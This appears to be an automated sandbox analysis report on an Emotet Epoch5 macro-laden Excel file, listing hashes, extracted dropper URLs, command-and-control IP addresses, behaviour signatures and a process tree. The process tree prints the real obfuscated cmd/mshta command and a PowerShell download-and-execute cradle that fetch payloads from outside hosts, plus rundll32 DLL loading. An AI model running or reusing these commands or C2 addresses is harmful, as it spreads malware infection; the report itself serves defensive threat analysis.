emotet | 919a61a248e3141832d7735e96bc3d49871726bce77e23f72b09f198480bbbb3

General

Target

919a61a248e3141832d7735e96bc3d49871726bce77e23f72b09f198480bbbb3.xlsm
Size

114KB
MD5

f5667cd7a27636ea34eb24d4901a20e4
SHA1

a0864a5a1948171dfe50a6a466083a7c52ab614b
SHA256

919a61a248e3141832d7735e96bc3d49871726bce77e23f72b09f198480bbbb3
SHA512

26f5a9535fcf833391a285419cf5bc68ed5ebba1de71f37cce8e58ff2a5f31fda8d5567a519d02dfb6534fa103792111f121bd1e9dfae428b801498ce4705ae8

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3616	3364	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow	pid	Process
31	1728	mshta.exe
38	1692	powershell.exe
40	1692	powershell.exe
47	3648	rundll32.exe
48	3648	rundll32.exe
50	3648	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid	Process
2156	rundll32.exe
2264	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Qcixyjihwiiztv\sdjrxozx.jnq	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
3712	1728	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
3364	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	Process
1692	powershell.exe
1692	powershell.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
3712	WerFault.exe
1692	powershell.exe
3648	rundll32.exe
3648	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	Process
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	3712	WerFault.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	Process
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE
3364	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	Process	procid_target
PID 3364 wrote to memory of 3616	3364	EXCEL.EXE	72
PID 3364 wrote to memory of 3616	3364	EXCEL.EXE	72
PID 3616 wrote to memory of 1728	3616	cmd.exe	74
PID 3616 wrote to memory of 1728	3616	cmd.exe	74
PID 1728 wrote to memory of 1692	1728	mshta.exe	76
PID 1728 wrote to memory of 1692	1728	mshta.exe	76
PID 1692 wrote to memory of 3808	1692	powershell.exe	79
PID 1692 wrote to memory of 3808	1692	powershell.exe	79
PID 3808 wrote to memory of 2156	3808	cmd.exe	80
PID 3808 wrote to memory of 2156	3808	cmd.exe	80
PID 3808 wrote to memory of 2156	3808	cmd.exe	80
PID 2156 wrote to memory of 2264	2156	rundll32.exe	81
PID 2156 wrote to memory of 2264	2156	rundll32.exe	81
PID 2156 wrote to memory of 2264	2156	rundll32.exe	81
PID 2264 wrote to memory of 1036	2264	rundll32.exe	84
PID 2264 wrote to memory of 1036	2264	rundll32.exe	84
PID 2264 wrote to memory of 1036	2264	rundll32.exe	84
PID 1036 wrote to memory of 3648	1036	rundll32.exe	85
PID 1036 wrote to memory of 3648	1036	rundll32.exe	85
PID 1036 wrote to memory of 3648	1036	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\919a61a248e3141832d7735e96bc3d49871726bce77e23f72b09f198480bbbb3.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3364
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/sec.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1692
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3808
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2156
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2264
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qcixyjihwiiztv\sdjrxozx.jnq",YRMeaRgSz
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1036
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qcixyjihwiiztv\sdjrxozx.jnq",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3648
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1728 -s 1664
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3712

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
edb638d987f449da4381b14c72c5671e

SHA1
1610e4fd4fd8c77f614ad33bf113723f72ce67f4

SHA256
a409f86b0d5e553d9137678e7ac5a4d56089b2c93ad8e269089503f61ce11718

SHA512
bb011130fbf491c9caa4f62468b27bdad556ceba0badb05ee0ff7182ca3757427398a713f6088834d195260e207947403d2f1daedb8c96338037836e3429da92

Download Submit
\Users\Public\Documents\ssd.dll

MD5
edb638d987f449da4381b14c72c5671e

SHA1
1610e4fd4fd8c77f614ad33bf113723f72ce67f4

SHA256
a409f86b0d5e553d9137678e7ac5a4d56089b2c93ad8e269089503f61ce11718

SHA512
bb011130fbf491c9caa4f62468b27bdad556ceba0badb05ee0ff7182ca3757427398a713f6088834d195260e207947403d2f1daedb8c96338037836e3429da92

Download Submit
\Users\Public\Documents\ssd.dll

MD5
edb638d987f449da4381b14c72c5671e

SHA1
1610e4fd4fd8c77f614ad33bf113723f72ce67f4

SHA256
a409f86b0d5e553d9137678e7ac5a4d56089b2c93ad8e269089503f61ce11718

SHA512
bb011130fbf491c9caa4f62468b27bdad556ceba0badb05ee0ff7182ca3757427398a713f6088834d195260e207947403d2f1daedb8c96338037836e3429da92

Download Submit
memory/1036-604-0x0000000004470000-0x0000000004498000-memory.dmp

Filesize
160KB

Download
memory/1692-302-0x000001DEA4A60000-0x000001DEA4A9C000-memory.dmp

Filesize
240KB

Download
memory/1692-458-0x000001DE8BDA0000-0x000001DEA3F30000-memory.dmp

Filesize
385.6MB

Download
memory/1692-272-0x000001DEA47F0000-0x000001DEA4812000-memory.dmp

Filesize
136KB

Download
memory/1692-510-0x000001DE8BDA0000-0x000001DEA3F30000-memory.dmp

Filesize
385.6MB

Download
memory/1692-333-0x000001DEA4EC0000-0x000001DEA4F36000-memory.dmp

Filesize
472KB

Download
memory/1692-388-0x000001DE8BDA0000-0x000001DEA3F30000-memory.dmp

Filesize
385.6MB

Download
memory/2156-585-0x0000000000A20000-0x0000000000A48000-memory.dmp

Filesize
160KB

Download
memory/2264-588-0x0000000000270000-0x0000000000298000-memory.dmp

Filesize
160KB

Download
memory/2264-596-0x0000000004660000-0x0000000004688000-memory.dmp

Filesize
160KB

Download
memory/2264-603-0x0000000004970000-0x0000000004998000-memory.dmp

Filesize
160KB

Download
memory/2264-600-0x0000000004820000-0x0000000004848000-memory.dmp

Filesize
160KB

Download
memory/2264-598-0x00000000047C0000-0x00000000047E8000-memory.dmp

Filesize
160KB

Download
memory/3364-128-0x00007FFE1C4D0000-0x00007FFE1C4E0000-memory.dmp

Filesize
64KB

Download
memory/3364-115-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3364-117-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3364-129-0x00007FFE1C4D0000-0x00007FFE1C4E0000-memory.dmp

Filesize
64KB

Download
memory/3364-118-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3364-116-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3364-119-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3648-605-0x00000000033B0000-0x00000000033D8000-memory.dmp

Filesize
160KB

Download
memory/3648-607-0x0000000004E00000-0x0000000004E28000-memory.dmp

Filesize
160KB

Download
memory/3648-610-0x0000000005370000-0x0000000005398000-memory.dmp

Filesize
160KB

Download
memory/3648-612-0x0000000005450000-0x0000000005478000-memory.dmp

Filesize
160KB

Download
memory/3648-614-0x0000000005530000-0x0000000005558000-memory.dmp

Filesize
160KB

Download
memory/3648-616-0x0000000005610000-0x0000000005638000-memory.dmp

Filesize
160KB

Download
memory/3648-618-0x0000000005700000-0x0000000005728000-memory.dmp

Filesize
160KB

Download
memory/3648-621-0x00000000058F0000-0x0000000005918000-memory.dmp

Filesize
160KB

Download
memory/3648-623-0x0000000005970000-0x0000000005998000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads